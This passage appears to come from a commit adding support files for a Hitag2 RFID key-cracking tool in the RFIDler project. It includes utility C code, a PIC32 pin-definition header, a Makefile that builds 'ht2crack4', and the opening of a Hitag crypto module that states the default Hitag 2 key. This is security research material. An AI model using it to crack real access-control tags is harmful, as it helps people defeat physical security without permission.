* RFIDler, and also available from *
* https://github.com/ApertureLabsLtd/RFIDler/COPYING *
* *
***************************************************************************/
// Author: Adam Laurie <adam@aperturelabs.com>
#include <string.h>
#include <stdio.h>
#include "HardwareProfile.h"
#include "util.h"
#include "rfidler.h"
//#include "comms.h"
// rtc
rtccTime RTC_time; // time structure
rtccDate RTC_date; // date structure
// convert byte-reversed 8 digit hex to unsigned long
unsigned long hexreversetoulong(BYTE *hex)
{
unsigned long ret= 0L;
unsigned int x;
BYTE i;
if(strlen(hex) != 8)
return 0L;
for(i= 0 ; i < 4 ; ++i)
{
if(sscanf(hex, "%2X", &x) != 1)
return 0L;
ret += ((unsigned long) x) << i * 8;
hex += 2;
}
return ret;
}
// convert byte-reversed 12 digit hex to unsigned long
unsigned long long hexreversetoulonglong(BYTE *hex)
{
unsigned long long ret= 0LL;
BYTE tmp[9];
// this may seem an odd way to do it, but weird compiler issues were
// breaking direct conversion!
tmp[8]= '\0';
memset(tmp + 4, '0', 4);
memcpy(tmp, hex + 8, 4);
ret= hexreversetoulong(tmp);
ret <<= 32;
memcpy(tmp, hex, 8);
ret += hexreversetoulong(tmp);
return ret;
}

3
tools/hitag2crack/crack4/.gitignore vendored Normal file
View file

@ -0,0 +1,3 @@
ht2crack4
ht2crack4.exe

View file

@ -0,0 +1,524 @@
/***************************************************************************
* A copy of the GNU GPL is appended to this file. *
* *
* This licence is based on the nmap licence, and we express our gratitude *
* for the work that went into producing it. There is no other connection *
* between RFIDler and nmap either expressed or implied. *
* *
********************** IMPORTANT RFIDler LICENSE TERMS ********************
* *
* *
* All references to RFIDler herein imply all it's derivatives, namely: *
* *
* o RFIDler-LF Standard *
* o RFIDler-LF Lite *
* o RFIDler-LF Nekkid *
* *
* *
* RFIDler is (C) 2013-2014 Aperture Labs Ltd. *
* *
* This program is free software; you may redistribute and/or modify it *
* under the terms of the GNU General Public License as published by the *
* Free Software Foundation; Version 2 ("GPL"), BUT ONLY WITH ALL OF THE *
* CLARIFICATIONS AND EXCEPTIONS DESCRIBED HEREIN. This guarantees your *
* right to use, modify, and redistribute this software under certain *
* conditions. If you wish to embed RFIDler technology into proprietary *
* software or hardware, we sell alternative licenses *
* (contact sales@aperturelabs.com). *
* *
* Note that the GPL places important restrictions on "derivative works", *
* yet it does not provide a detailed definition of that term. To avoid *
* misunderstandings, we interpret that term as broadly as copyright law *
* allows. For example, we consider an application to constitute a *
* derivative work for the purpose of this license if it does any of the *
* following with any software or content covered by this license *
* ("Covered Software"): *
* *
* o Integrates source code from Covered Software. *
* *
* o Is designed specifically to execute Covered Software and parse the *
* results (as opposed to typical shell or execution-menu apps, which will *
* execute anything you tell them to). *
* *
* o Includes Covered Software in a proprietary executable installer. The *
* installers produced by InstallShield are an example of this. Including *
* RFIDler with other software in compressed or archival form does not *
* trigger this provision, provided appropriate open source decompression *
* or de-archiving software is widely available for no charge. For the *
* purposes of this license, an installer is considered to include Covered *
* Software even if it actually retrieves a copy of Covered Software from *
* another source during runtime (such as by downloading it from the *
* Internet). *
* *
* o Links (statically or dynamically) to a library which does any of the *
* above. *
* *
* o Executes a helper program, module, or script to do any of the above. *
* *
* This list is not exclusive, but is meant to clarify our interpretation *
* of derived works with some common examples. Other people may interpret *
* the plain GPL differently, so we consider this a special exception to *
* the GPL that we apply to Covered Software. Works which meet any of *
* these conditions must conform to all of the terms of this license, *
* particularly including the GPL Section 3 requirements of providing *
* source code and allowing free redistribution of the work as a whole. *
* *
* As another special exception to the GPL terms, Aperture Labs Ltd. grants*
* permission to link the code of this program with any version of the *
* OpenSSL library which is distributed under a license identical to that *
* listed in the included docs/licenses/OpenSSL.txt file, and distribute *
* linked combinations including the two. *
* *
* Any redistribution of Covered Software, including any derived works, *
* must obey and carry forward all of the terms of this license, including *
* obeying all GPL rules and restrictions. For example, source code of *
* the whole work must be provided and free redistribution must be *
* allowed. All GPL references to "this License", are to be treated as *
* including the terms and conditions of this license text as well. *
* *
* Because this license imposes special exceptions to the GPL, Covered *
* Work may not be combined (even as part of a larger work) with plain GPL *
* software. The terms, conditions, and exceptions of this license must *
* be included as well. This license is incompatible with some other open *
* source licenses as well. In some cases we can relicense portions of *
* RFIDler or grant special permissions to use it in other open source *
* software. Please contact sales@aperturelabs.com with any such requests.*
* Similarly, we don't incorporate incompatible open source software into *
* Covered Software without special permission from the copyright holders. *
* *
* If you have any questions about the licensing restrictions on using *
* RFIDler in other works, are happy to help. As mentioned above, we also *
* offer alternative license to integrate RFIDler into proprietary *
* applications and appliances. These contracts have been sold to dozens *
* of software vendors, and generally include a perpetual license as well *
* as providing for priority support and updates. They also fund the *
* continued development of RFIDler. Please email sales@aperturelabs.com *
* for further information. *
* If you have received a written license agreement or contract for *
* Covered Software stating terms other than these, you may choose to use *
* and redistribute Covered Software under those terms instead of these. *
* *
* Source is provided to this software because we believe users have a *
* right to know exactly what a program is going to do before they run it. *
* This also allows you to audit the software for security holes (none *
* have been found so far). *
* *
* Source code also allows you to port RFIDler to new platforms, fix bugs, *
* and add new features. You are highly encouraged to send your changes *
* to the RFIDler mailing list for possible incorporation into the *
* main distribution. By sending these changes to Aperture Labs Ltd. or *
* one of the Aperture Labs Ltd. development mailing lists, or checking *
* them into the RFIDler source code repository, it is understood (unless *
* you specify otherwise) that you are offering the RFIDler Project *
* (Aperture Labs Ltd.) the unlimited, non-exclusive right to reuse, *
* modify, and relicense the code. RFIDler will always be available Open *
* Source, but this is important because the inability to relicense code *
* has caused devastating problems for other Free Software projects (such *
* as KDE and NASM). We also occasionally relicense the code to third *
* parties as discussed above. If you wish to specify special license *
* conditions of your contributions, just say so when you send them. *
* *
* This program is distributed in the hope that it will be useful, but *
* WITHOUT ANY WARRANTY; without even the implied warranty of *
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the RFIDler *
* license file for more details (it's in a COPYING file included with *
* RFIDler, and also available from *
* https://github.com/ApertureLabsLtd/RFIDler/COPYING *
* *
***************************************************************************/
// Author: Adam Laurie <adam@aperturelabs.com>
#ifndef HARDWARE_PROFILE_UBW32_H
#define HARDWARE_PROFILE_UBW32_H
//#include "plib.h"
typedef char BOOL;
typedef char BYTE;
typedef int rtccTime;
typedef int rtccDate;
#ifndef __PIC32MX__
#define __PIC32MX__
#endif
#define GetSystemClock() (80000000ul)
#define GetPeripheralClock() (GetSystemClock())
#define GetInstructionClock() (GetSystemClock())
//#define USE_SELF_POWER_SENSE_IO
#define tris_self_power TRISAbits.TRISA2 // Input
#define self_power 1
//#define USE_USB_BUS_SENSE_IO
#define tris_usb_bus_sense TRISBbits.TRISB5 // Input
#define USB_BUS_SENSE 1
// LEDs
#define mLED_1 LATEbits.LATE3
#define mLED_2 LATEbits.LATE2
#define mLED_Comms mLED_2
#define mLED_3 LATEbits.LATE1
#define mLED_Clock mLED_3
#define mLED_4 LATEbits.LATE0
#define mLED_Emulate mLED_4
#define mLED_5 LATGbits.LATG6
#define mLED_Read mLED_5
#define mLED_6 LATAbits.LATA15
#define mLED_User mLED_6
#define mLED_7 LATDbits.LATD11
#define mLED_Error mLED_7
// active low
#define mLED_ON 0
#define mLED_OFF 1
#define mGetLED_1() mLED_1
#define mGetLED_USB() mLED_1
#define mGetLED_2() mLED_2
#define mGetLED_Comms() mLED_2
#define mGetLED_3() mLED_3
#define mGetLED_Clock() mLED_3
#define mGetLED_4() mLED_4
#define mGetLED_Emulate() mLED_4
#define mGetLED_5() mLED_5
#define mGetLED_Read() mLED_5
#define mGetLED_6() mLED_6
#define mGetLED_User() mLED_6
#define mGetLED_7() mLED_7
#define mGetLED_Error() mLED_7
#define mLED_1_On() mLED_1 = mLED_ON
#define mLED_USB_On() mLED_1_On()
#define mLED_2_On() mLED_2 = mLED_ON
#define mLED_Comms_On() mLED_2_On()
#define mLED_3_On() mLED_3 = mLED_ON
#define mLED_Clock_On() mLED_3_On()
#define mLED_4_On() mLED_4 = mLED_ON
#define mLED_Emulate_On() mLED_4_On()
#define mLED_5_On() mLED_5 = mLED_ON
#define mLED_Read_On() mLED_5_On()
#define mLED_6_On() mLED_6 = mLED_ON
#define mLED_User_On() mLED_6_On()
#define mLED_7_On() mLED_7 = mLED_ON
#define mLED_Error_On() mLED_7_On()
#define mLED_1_Off() mLED_1 = mLED_OFF
#define mLED_USB_Off() mLED_1_Off()
#define mLED_2_Off() mLED_2 = mLED_OFF
#define mLED_Comms_Off() mLED_2_Off()
#define mLED_3_Off() mLED_3 = mLED_OFF
#define mLED_Clock_Off() mLED_3_Off()
#define mLED_4_Off() mLED_4 = mLED_OFF
#define mLED_Emulate_Off() mLED_4_Off()
#define mLED_5_Off() mLED_5 = mLED_OFF
#define mLED_Read_Off() mLED_5_Off()
#define mLED_6_Off() mLED_6 = mLED_OFF
#define mLED_User_Off() mLED_6_Off()
#define mLED_7_Off() mLED_7 = mLED_OFF
#define mLED_Error_Off() mLED_7_Off()
#define mLED_1_Toggle() mLED_1 = !mLED_1
#define mLED_USB_Toggle() mLED_1_Toggle()
#define mLED_2_Toggle() mLED_2 = !mLED_2
#define mLED_Comms_Toggle() mLED_2_Toggle()
#define mLED_3_Toggle() mLED_3 = !mLED_3
#define mLED_Clock_Toggle() mLED_3_Toggle()
#define mLED_4_Toggle() mLED_4 = !mLED_4
#define mLED_Emulate_Toggle() mLED_4_Toggle()
#define mLED_5_Toggle() mLED_5 = !mLED_5
#define mLED_Read_Toggle( ) mLED_5_Toggle()
#define mLED_6_Toggle() mLED_6 = !mLED_6
#define mLED_User_Toggle() mLED_6_Toggle()
#define mLED_7_Toggle() mLED_7 = !mLED_7
#define mLED_Error_Toggle() mLED_7_Toggle()
#define mLED_All_On() { mLED_1_On(); mLED_2_On(); mLED_3_On(); mLED_4_On(); mLED_5_On(); mLED_6_On(); mLED_7_On(); }
#define mLED_All_Off() { mLED_1_Off(); mLED_2_Off(); mLED_3_Off(); mLED_4_Off(); mLED_5_Off(); mLED_6_Off(); mLED_7_Off(); }
// usb status lights
#define mLED_Both_Off() {mLED_USB_Off();mLED_Comms_Off();}
#define mLED_Both_On() {mLED_USB_On();mLED_Comms_On();}
#define mLED_Only_USB_On() {mLED_USB_On();mLED_Comms_Off();}
#define mLED_Only_Comms_On() {mLED_USB_Off();mLED_Comms_On();}
/** SWITCH *********************************************************/
#define swBootloader PORTEbits.RE7
#define swUser PORTEbits.RE6
/** I/O pin definitions ********************************************/
#define INPUT_PIN 1
#define OUTPUT_PIN 0
#define TRUE 1
#define FALSE 0
#define ENABLE 1
#define DISABE 0
#define EVEN 0
#define ODD 1
#define LOW FALSE
#define HIGH TRUE
#define CLOCK_ON LOW
#define CLOCK_OFF HIGH
// output coil control - select between reader/emulator circuits
#define COIL_MODE LATBbits.LATB4
#define COIL_MODE_READER() COIL_MODE= LOW
#define COIL_MODE_EMULATOR() COIL_MODE= HIGH
// coil for emulation
#define COIL_OUT LATGbits.LATG9
#define COIL_OUT_HIGH() COIL_OUT=HIGH
#define COIL_OUT_LOW() COIL_OUT=LOW
// door relay (active low)
#define DOOR_RELAY LATAbits.LATA14
#define DOOR_RELAY_OPEN() DOOR_RELAY= HIGH
#define DOOR_RELAY_CLOSE() DOOR_RELAY= LOW
// inductance/capacitance freq
#define IC_FREQUENCY PORTAbits.RA2
#define SNIFFER_COIL PORTDbits.RD12 // external reader clock detect
#define READER_ANALOGUE PORTBbits.RB11 // reader coil analogue
#define DIV_LOW_ANALOGUE PORTBbits.RB12 // voltage divider LOW analogue
#define DIV_HIGH_ANALOGUE PORTBbits.RB13 // voltage divider HIGH analogue
// clock coil (normally controlled by OC Module, but defined here so we can force it high or low)
#define CLOCK_COIL PORTDbits.RD4
#define CLOCK_COIL_MOVED PORTDbits.RD0 // temporary for greenwire
// digital output after analogue reader circuit
#define READER_DATA PORTDbits.RD8
// trace / debug
#define DEBUG_PIN_1 LATCbits.LATC1
#define DEBUG_PIN_1_TOGGLE() DEBUG_PIN_1= !DEBUG_PIN_1
#define DEBUG_PIN_2 LATCbits.LATC2
#define DEBUG_PIN_2_TOGGLE() DEBUG_PIN_2= !DEBUG_PIN_2
#define DEBUG_PIN_3 LATCbits.LATC3
#define DEBUG_PIN_3_TOGGLE() DEBUG_PIN_3= !DEBUG_PIN_3
#define DEBUG_PIN_4 LATEbits.LATE5
#define DEBUG_PIN_4_TOGGLE() DEBUG_PIN_4= !DEBUG_PIN_4
// spi (sdi1) for sd card (not directly referenced)
//#define SD_CARD_RX LATCbits.LATC4
//#define SD_CARD_TX LATDbits.LATD0
//#define SD_CARD_CLK LATDbits.LATD10
//#define SD_CARD_SS LATDbits.LATD9
// spi for SD card
#define SD_CARD_DET LATFbits.LATF0
#define SD_CARD_WE LATFbits.LATF1 // write enable - unused for microsd but allocated anyway as library checks it
// (held LOW by default - cut solder bridge to GND to free pin if required)
#define SPI_SD SPI_CHANNEL1
#define SPI_SD_BUFF SPI1BUF
#define SPI_SD_STAT SPI1STATbits
// see section below for more defines!
// iso 7816 smartcard
// microchip SC module defines pins so we don't need to, but
// they are listed here to help avoid conflicts
#define ISO_7816_RX LATBbits.LATF2 // RX
#define ISO_7816_TX LATBbits.LATF8 // TX
#define ISO_7816_VCC LATBbits.LATB9 // Power
#define ISO_7816_CLK LATCbits.LATD1 // Clock
#define ISO_7816_RST LATEbits.LATE8 // Reset
// user LED
#define USER_LED LATDbits.LATD7
#define USER_LED_ON() LATDbits.LATD7=1
#define USER_LED_OFF() LATDbits.LATD7=0
// LCR
#define LCR_CALIBRATE LATBbits.LATB5
// wiegand / clock & data
#define WIEGAND_IN_0 PORTDbits.RD5
#define WIEGAND_IN_0_PULLUP CNPUEbits.CNPUE14
#define WIEGAND_IN_0_PULLDOWN CNPDbits.CNPD14
#define WIEGAND_IN_1 PORTDbits.RD6
#define WIEGAND_IN_1_PULLUP CNPUEbits.CNPUE15
#define WIEGAND_IN_1_PULLDOWN CNPDbits.CNPD15
#define CAND_IN_DATA WIEGAND_IN_0
#define CAND_IN_CLOCK WIEGAND_IN_1
#define WIEGAND_OUT_0 LATDbits.LATD3
#define WIEGAND_OUT_1 LATDbits.LATD2
#define WIEGAND_OUT_0_TRIS TRISDbits.TRISD3
#define WIEGAND_OUT_1_TRIS TRISDbits.TRISD2
#define CAND_OUT_DATA WIEGAND_OUT_0
#define CAND_OUT_CLOCK WIEGAND_OUT_1
// connect/disconnect reader clock from coil - used to send RWD signals by creating gaps in carrier
#define READER_CLOCK_ENABLE LATEbits.LATE9
#define READER_CLOCK_ENABLE_ON() READER_CLOCK_ENABLE=CLOCK_ON
#define READER_CLOCK_ENABLE_OFF(x) {READER_CLOCK_ENABLE=CLOCK_OFF; COIL_OUT=x;}
// these input pins must NEVER bet set to output or they will cause short circuits!
// they can be used to see data from reader before it goes into or gate
#define OR_IN_A PORTAbits.RA4
#define OR_IN_B PORTAbits.RA5
// CNCON and CNEN are set to allow wiegand input pin weak pullups to be switched on
#define Init_GPIO() { \
CNCONbits.ON= TRUE; \
CNENbits.CNEN14= TRUE; \
CNENbits.CNEN15= TRUE; \
TRISAbits.TRISA2= INPUT_PIN; \
TRISAbits.TRISA4= INPUT_PIN; \
TRISAbits.TRISA5= INPUT_PIN; \
TRISAbits.TRISA14= OUTPUT_PIN; \
TRISAbits.TRISA15= OUTPUT_PIN; \
TRISBbits.TRISB4= OUTPUT_PIN; \
TRISBbits.TRISB5= OUTPUT_PIN; \
TRISBbits.TRISB9= OUTPUT_PIN; \
TRISBbits.TRISB11= INPUT_PIN; \
TRISBbits.TRISB12= INPUT_PIN; \
TRISBbits.TRISB13= INPUT_PIN; \
TRISCbits.TRISC1= OUTPUT_PIN; \
TRISCbits.TRISC2= OUTPUT_PIN; \
TRISCbits.TRISC3= OUTPUT_PIN; \
TRISCbits.TRISC4= INPUT_PIN; \
TRISDbits.TRISD0= INPUT_PIN; \
TRISDbits.TRISD1= OUTPUT_PIN; \
TRISDbits.TRISD2= OUTPUT_PIN; \
TRISDbits.TRISD3= OUTPUT_PIN; \
TRISDbits.TRISD4= OUTPUT_PIN; \
TRISDbits.TRISD5= INPUT_PIN; \
TRISDbits.TRISD6= INPUT_PIN; \
TRISDbits.TRISD7= OUTPUT_PIN; \
TRISDbits.TRISD8= INPUT_PIN; \
TRISDbits.TRISD11= OUTPUT_PIN; \
TRISDbits.TRISD12= INPUT_PIN; \
TRISEbits.TRISE0= OUTPUT_PIN; \
TRISEbits.TRISE1= OUTPUT_PIN; \
TRISEbits.TRISE2= OUTPUT_PIN; \
TRISEbits.TRISE3= OUTPUT_PIN; \
TRISEbits.TRISE5= OUTPUT_PIN; \
TRISEbits.TRISE6= INPUT_PIN; \
TRISEbits.TRISE7= INPUT_PIN; \
TRISEbits.TRISE8= OUTPUT_PIN; \
TRISEbits.TRISE9= OUTPUT_PIN; \
TRISFbits.TRISF0= INPUT_PIN; \
TRISFbits.TRISF1= INPUT_PIN; \
TRISFbits.TRISF2= INPUT_PIN; \
TRISFbits.TRISF8= OUTPUT_PIN; \
TRISGbits.TRISG6= OUTPUT_PIN; \
TRISGbits.TRISG12= INPUT_PIN; \
TRISGbits.TRISG13= INPUT_PIN; \
TRISGbits.TRISG9= OUTPUT_PIN; \
LATBbits.LATB9= LOW; \
LATCbits.LATC1= LOW; \
LATCbits.LATC2= LOW; \
LATCbits.LATC3= LOW; \
LATDbits.LATD2= WIEGAND_IN_1; \
LATDbits.LATD3= WIEGAND_IN_0; \
LATEbits.LATE5= LOW; \
LATEbits.LATE9= HIGH; \
}
// uart3 (CLI/API) speed
#define BAUDRATE3 115200UL
#define BRG_DIV3 4
#define BRGH3 1
// spi for potentiometer
#define SPI_POT SPI_CHANNEL4
#define SPI_POT_BUFF SPI4BUF
#define SPI_POT_STAT SPI4STATbits
// spi for sd card - defines required for Microchip SD-SPI libs
// define interface type
#define USE_SD_INTERFACE_WITH_SPI
#define MDD_USE_SPI_1
#define SPI_START_CFG_1 (PRI_PRESCAL_64_1 | SEC_PRESCAL_8_1 | MASTER_ENABLE_ON | SPI_CKE_ON | SPI_SMP_ON)
#define SPI_START_CFG_2 (SPI_ENABLE)
// Define the SPI frequency
#define SPI_FREQUENCY (20000000)
// Description: SD-SPI Card Detect Input bit
#define SD_CD PORTFbits.RF0
// Description: SD-SPI Card Detect TRIS bit
#define SD_CD_TRIS TRISFbits.TRISF0
// Description: SD-SPI Write Protect Check Input bit
#define SD_WE PORTFbits.RF1
// Description: SD-SPI Write Protect Check TRIS bit
#define SD_WE_TRIS TRISFbits.TRISF1
// Description: The main SPI control register
#define SPICON1 SPI1CON
// Description: The SPI status register
#define SPISTAT SPI1STAT
// Description: The SPI Buffer
#define SPIBUF SPI1BUF
// Description: The receive buffer full bit in the SPI status register
#define SPISTAT_RBF SPI1STATbits.SPIRBF
// Description: The bitwise define for the SPI control register (i.e. _____bits)
#define SPICON1bits SPI1CONbits
// Description: The bitwise define for the SPI status register (i.e. _____bits)
#define SPISTATbits SPI1STATbits
// Description: The enable bit for the SPI module
#define SPIENABLE SPICON1bits.ON
// Description: The definition for the SPI baud rate generator register (PIC32)
#define SPIBRG SPI1BRG
// Description: The TRIS bit for the SCK pin
#define SPICLOCK TRISDbits.TRISD10
// Description: The TRIS bit for the SDI pin
#define SPIIN TRISCbits.TRISC4
// Description: The TRIS bit for the SDO pin
#define SPIOUT TRISDbits.TRISD0
#define SD_CS LATDbits.LATD9
// Description: SD-SPI Chip Select TRIS bit
#define SD_CS_TRIS TRISDbits.TRISD9
//SPI library functions
#define putcSPI putcSPI1
#define getcSPI getcSPI1
#define OpenSPI(config1, config2) OpenSPI1(config1, config2)
// Define setup parameters for OpenADC10 function
// Turn module on | Ouput in integer format | Trigger mode auto | Enable autosample
#define ADC_CONFIG1 (ADC_FORMAT_INTG | ADC_CLK_AUTO | ADC_AUTO_SAMPLING_ON)
// ADC ref external | Disable offset test | Disable scan mode | Perform 2 samples | Use dual buffers | Use alternate mode
#define ADC_CONFIG2 (ADC_VREF_AVDD_AVSS | ADC_OFFSET_CAL_DISABLE | ADC_SCAN_OFF | ADC_SAMPLES_PER_INT_1 | ADC_ALT_BUF_ON | ADC_ALT_INPUT_ON)
// Use ADC internal clock | Set sample time
#define ADC_CONFIG3 (ADC_CONV_CLK_INTERNAL_RC | ADC_SAMPLE_TIME_0)
// slow sample rate for tuning coils
#define ADC_CONFIG2_SLOW (ADC_VREF_AVDD_AVSS | ADC_OFFSET_CAL_DISABLE | ADC_SCAN_OFF | ADC_SAMPLES_PER_INT_16 | ADC_ALT_BUF_ON | ADC_ALT_INPUT_ON)
#define ADC_CONFIG3_SLOW (ADC_CONV_CLK_INTERNAL_RC | ADC_SAMPLE_TIME_31)
// use AN11
#define ADC_CONFIGPORT ENABLE_AN11_ANA
// Do not assign channels to scan
#define ADC_CONFIGSCAN SKIP_SCAN_ALL
#define ADC_TO_VOLTS 0.003208F
// flash memory - int myvar = *(int*)(myflashmemoryaddress);
// memory is 0x9D005000 to 0x9D07FFFF
#define NVM_MEMORY_END 0x9D07FFFF
#define NVM_PAGE_SIZE 4096
#define NVM_PAGES 2 // config & VTAG
#define RFIDLER_NVM_ADDRESS (NVM_MEMORY_END - (NVM_PAGE_SIZE * NVM_PAGES))
// UART timeout in us
#define SERIAL_TIMEOUT 100
#endif

View file

@ -0,0 +1,20 @@
WARN=-Wall
CFLAGS=-c $(WARN) $(INCLUDE)
LIBS=-lpthread
all: ht2crack4.c HardwareProfile.h rfidler.h util.h utilpart.o hitagcrypto.o ht2crack2utils.o
cc $(WARN) -o ht2crack4 ht2crack4.c utilpart.o hitagcrypto.o ht2crack2utils.o $(LIBS)
utilpart.o: utilpart.c util.h
cc $(CFLAGS) utilpart.c
hitagcrypto.o: hitagcrypto.c hitagcrypto.h
cc $(CFLAGS) hitagcrypto.c
ht2crack2utils.o: ht2crack2utils.c ht2crack2utils.h
cc $(CFLAGS) ht2crack2utils.c
clean:
rm -rf *.o ht2crack4
fresh: clean all

View file

@ -0,0 +1,485 @@
/***************************************************************************
* A copy of the GNU GPL is appended to this file. *
* *
* This licence is based on the nmap licence, and we express our gratitude *
* for the work that went into producing it. There is no other connection *
* between RFIDler and nmap either expressed or implied. *
* *
********************** IMPORTANT RFIDler LICENSE TERMS ********************
* *
* *
* All references to RFIDler herein imply all it's derivatives, namely: *
* *
* o RFIDler-LF Standard *
* o RFIDler-LF Lite *
* o RFIDler-LF Nekkid *
* *
* *
* RFIDler is (C) 2013-2015 Aperture Labs Ltd. *
* *
* This program is free software; you may redistribute and/or modify it *
* under the terms of the GNU General Public License as published by the *
* Free Software Foundation; Version 2 ("GPL"), BUT ONLY WITH ALL OF THE *
* CLARIFICATIONS AND EXCEPTIONS DESCRIBED HEREIN. This guarantees your *
* right to use, modify, and redistribute this software under certain *
* conditions. If you wish to embed RFIDler technology into proprietary *
* software or hardware, we sell alternative licenses *
* (contact sales@aperturelabs.com). *
* *
* Note that the GPL places important restrictions on "derivative works", *
* yet it does not provide a detailed definition of that term. To avoid *
* misunderstandings, we interpret that term as broadly as copyright law *
* allows. For example, we consider an application to constitute a *
* derivative work for the purpose of this license if it does any of the *
* following with any software or content covered by this license *
* ("Covered Software"): *
* *
* o Integrates source code from Covered Software. *
* *
* o Is designed specifically to execute Covered Software and parse the *
* results (as opposed to typical shell or execution-menu apps, which will *
* execute anything you tell them to). *
* *
* o Includes Covered Software in a proprietary executable installer. The *
* installers produced by InstallShield are an example of this. Including *
* RFIDler with other software in compressed or archival form does not *
* trigger this provision, provided appropriate open source decompression *
* or de-archiving software is widely available for no charge. For the *
* purposes of this license, an installer is considered to include Covered *
* Software even if it actually retrieves a copy of Covered Software from *
* another source during runtime (such as by downloading it from the *
* Internet). *
* *
* o Links (statically or dynamically) to a library which does any of the *
* above. *
* *
* o Executes a helper program, module, or script to do any of the above. *
* *
* This list is not exclusive, but is meant to clarify our interpretation *
* of derived works with some common examples. Other people may interpret *
* the plain GPL differently, so we consider this a special exception to *
* the GPL that we apply to Covered Software. Works which meet any of *
* these conditions must conform to all of the terms of this license, *
* particularly including the GPL Section 3 requirements of providing *
* source code and allowing free redistribution of the work as a whole. *
* *
* As another special exception to the GPL terms, Aperture Labs Ltd. grants*
* permission to link the code of this program with any version of the *
* OpenSSL library which is distributed under a license identical to that *
* listed in the included docs/licenses/OpenSSL.txt file, and distribute *
* linked combinations including the two. *
* *
* Any redistribution of Covered Software, including any derived works, *
* must obey and carry forward all of the terms of this license, including *
* obeying all GPL rules and restrictions. For example, source code of *
* the whole work must be provided and free redistribution must be *
* allowed. All GPL references to "this License", are to be treated as *
* including the terms and conditions of this license text as well. *
* *
* Because this license imposes special exceptions to the GPL, Covered *
* Work may not be combined (even as part of a larger work) with plain GPL *
* software. The terms, conditions, and exceptions of this license must *
* be included as well. This license is incompatible with some other open *
* source licenses as well. In some cases we can relicense portions of *
* RFIDler or grant special permissions to use it in other open source *
* software. Please contact sales@aperturelabs.com with any such requests.*
* Similarly, we don't incorporate incompatible open source software into *
* Covered Software without special permission from the copyright holders. *
* *
* If you have any questions about the licensing restrictions on using *
* RFIDler in other works, are happy to help. As mentioned above, we also *
* offer alternative license to integrate RFIDler into proprietary *
* applications and appliances. These contracts have been sold to dozens *
* of software vendors, and generally include a perpetual license as well *
* as providing for priority support and updates. They also fund the *
* continued development of RFIDler. Please email sales@aperturelabs.com *
* for further information. *
* If you have received a written license agreement or contract for *
* Covered Software stating terms other than these, you may choose to use *
* and redistribute Covered Software under those terms instead of these. *
* *
* Source is provided to this software because we believe users have a *
* right to know exactly what a program is going to do before they run it. *
* This also allows you to audit the software for security holes (none *
* have been found so far). *
* *
* Source code also allows you to port RFIDler to new platforms, fix bugs, *
* and add new features. You are highly encouraged to send your changes *
* to the RFIDler mailing list for possible incorporation into the *
* main distribution. By sending these changes to Aperture Labs Ltd. or *
* one of the Aperture Labs Ltd. development mailing lists, or checking *
* them into the RFIDler source code repository, it is understood (unless *
* you specify otherwise) that you are offering the RFIDler Project *
* (Aperture Labs Ltd.) the unlimited, non-exclusive right to reuse, *
* modify, and relicense the code. RFIDler will always be available Open *
* Source, but this is important because the inability to relicense code *
* has caused devastating problems for other Free Software projects (such *
* as KDE and NASM). We also occasionally relicense the code to third *
* parties as discussed above. If you wish to specify special license *
* conditions of your contributions, just say so when you send them. *
* *
* This program is distributed in the hope that it will be useful, but *
* WITHOUT ANY WARRANTY; without even the implied warranty of *
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the RFIDler *
* license file for more details (it's in a COPYING file included with *
* RFIDler, and also available from *
* https://github.com/ApertureLabsLtd/RFIDler/COPYING *
* *
***************************************************************************/
// Author: unknown.
// Modifications for RFIDler: Tony Naggs <tony.naggs@gmail.com>, Adam Laurie <adam@aperturelabs.com>
// uncomment this to build file as a standalone crypto test program
// #define UNIT_TEST
// also uncomment to include verbose debug prints
// #define TEST_DEBUG
//#include <GenericTypeDefs.h>
#include "HardwareProfile.h"
#include "rfidler.h"
#include "hitagcrypto.h"
#include "util.h"
#ifdef UNIT_TEST
#include <stdio.h>
#endif
#if defined(UNIT_TEST) && defined(TEST_DEBUG)
// Note that printf format %I64x prints 64 bit ints in MS Visual C/C++.
// This may need changing for other compilers/platforms.
#define DEBUG_PRINTF(...) printf(__VA_ARGS__)
#else
#define DEBUG_PRINTF(...)
#endif
/* Brief info about NXP Hitag 1, Hitag 2, Hitag S and Hitag u (mu)
Hitag 125kHz RFID was created by a company called Mikron (Mikron Gesellschaft
fur Integrierte Mikroelektronik Mbh), of Austria, for micropayment applications.
At about the same time, late 1980s to early 1990s, Mikron developed the
similarly featured Mifare micropayment card for 13.56MHz RFID.
(Mikron's European Patent EP 0473569 A2 was filed 23 August 1991, with a
priority date of 23 Aug 1990.)
Mikron was subsequently acquired by Philips Semiconductors in 1995.
Philips Semiconductors divsion subsequently became NXP.
+ Modulation read/write device -> transponder: 100 % ASK and binary pulse
length coding
+ Modulation transponder -> read/write device: Strong ASK modulation,
selectable Manchester or Biphase coding
+ Hitag S, Hitag u; anti-collision procedure
+ Fast anti-collision protocol
+ Hitag u; optional Cyclic Redundancy Check (CRC)
+ Reader Talks First mode
+ Hitag 2 & later; Transponder Talks First (TTF) mode
+ Temporary switch from Transponder Talks First into Reader Talks First
(RTF) Mode
+ Data rate read/write device to transponder: 5.2 kbit/s
+ Data rates transponder to read/write device: 2 kbit/s, 4 kbit/s, 8 kbit/s
+ 32-bit password feature
+ Hitag 2, S = 32-bit Unique Identifier
+ Hitag u = 48-bit Unique Identifier
+ Selectable password modes for reader / tag mutual authentication
(Hitag 1 has 2 pairs of keys, later versions have 1 pair)
+ Hitag 2 & Hitag S; Selectable encrypted mode, 48 bit key
Known tag types:
HITAG 1 2048 bits total memory
HITAG 2 256 Bit total memory Read/Write
8 pages of 32 bits, inc UID (32),
secret key (64), password (24), config (8)
HITAG S 32 32 bits Unique Identifier Read Only
HITAG S 256 256 bits total memory Read/Write
HITAG S 2048 2048 bits total memory Read/Write
HITAG u RO64 64 bits total memory Read Only
HITAG u 128 bits total memory Read/Write
HITAG u Advanced 512 bits total memory Read/Write
HITAG u Advanced+ 1760 bits total memory Read/Write
Default 48-bit key for Hitag 2, S encryption:
"MIKRON" = O N M I K R
Key = 4F 4E 4D 49 4B 52
*/
// We want the crypto functions to be as fast as possible, so optimize!
// The best compiler optimization in Microchip's free XC32 edition is -O1
#pragma GCC optimize("O1")
// private, nonlinear function to generate 1 crypto bit
static uint32_t hitag2_crypt(uint64_t x);
// macros to pick out 4 bits in various patterns of 1s & 2s & make a new number
#define pickbits2_2(S, A, B) ( ((S >> A) & 3) | ((S >> (B - 2)) & 0xC) )
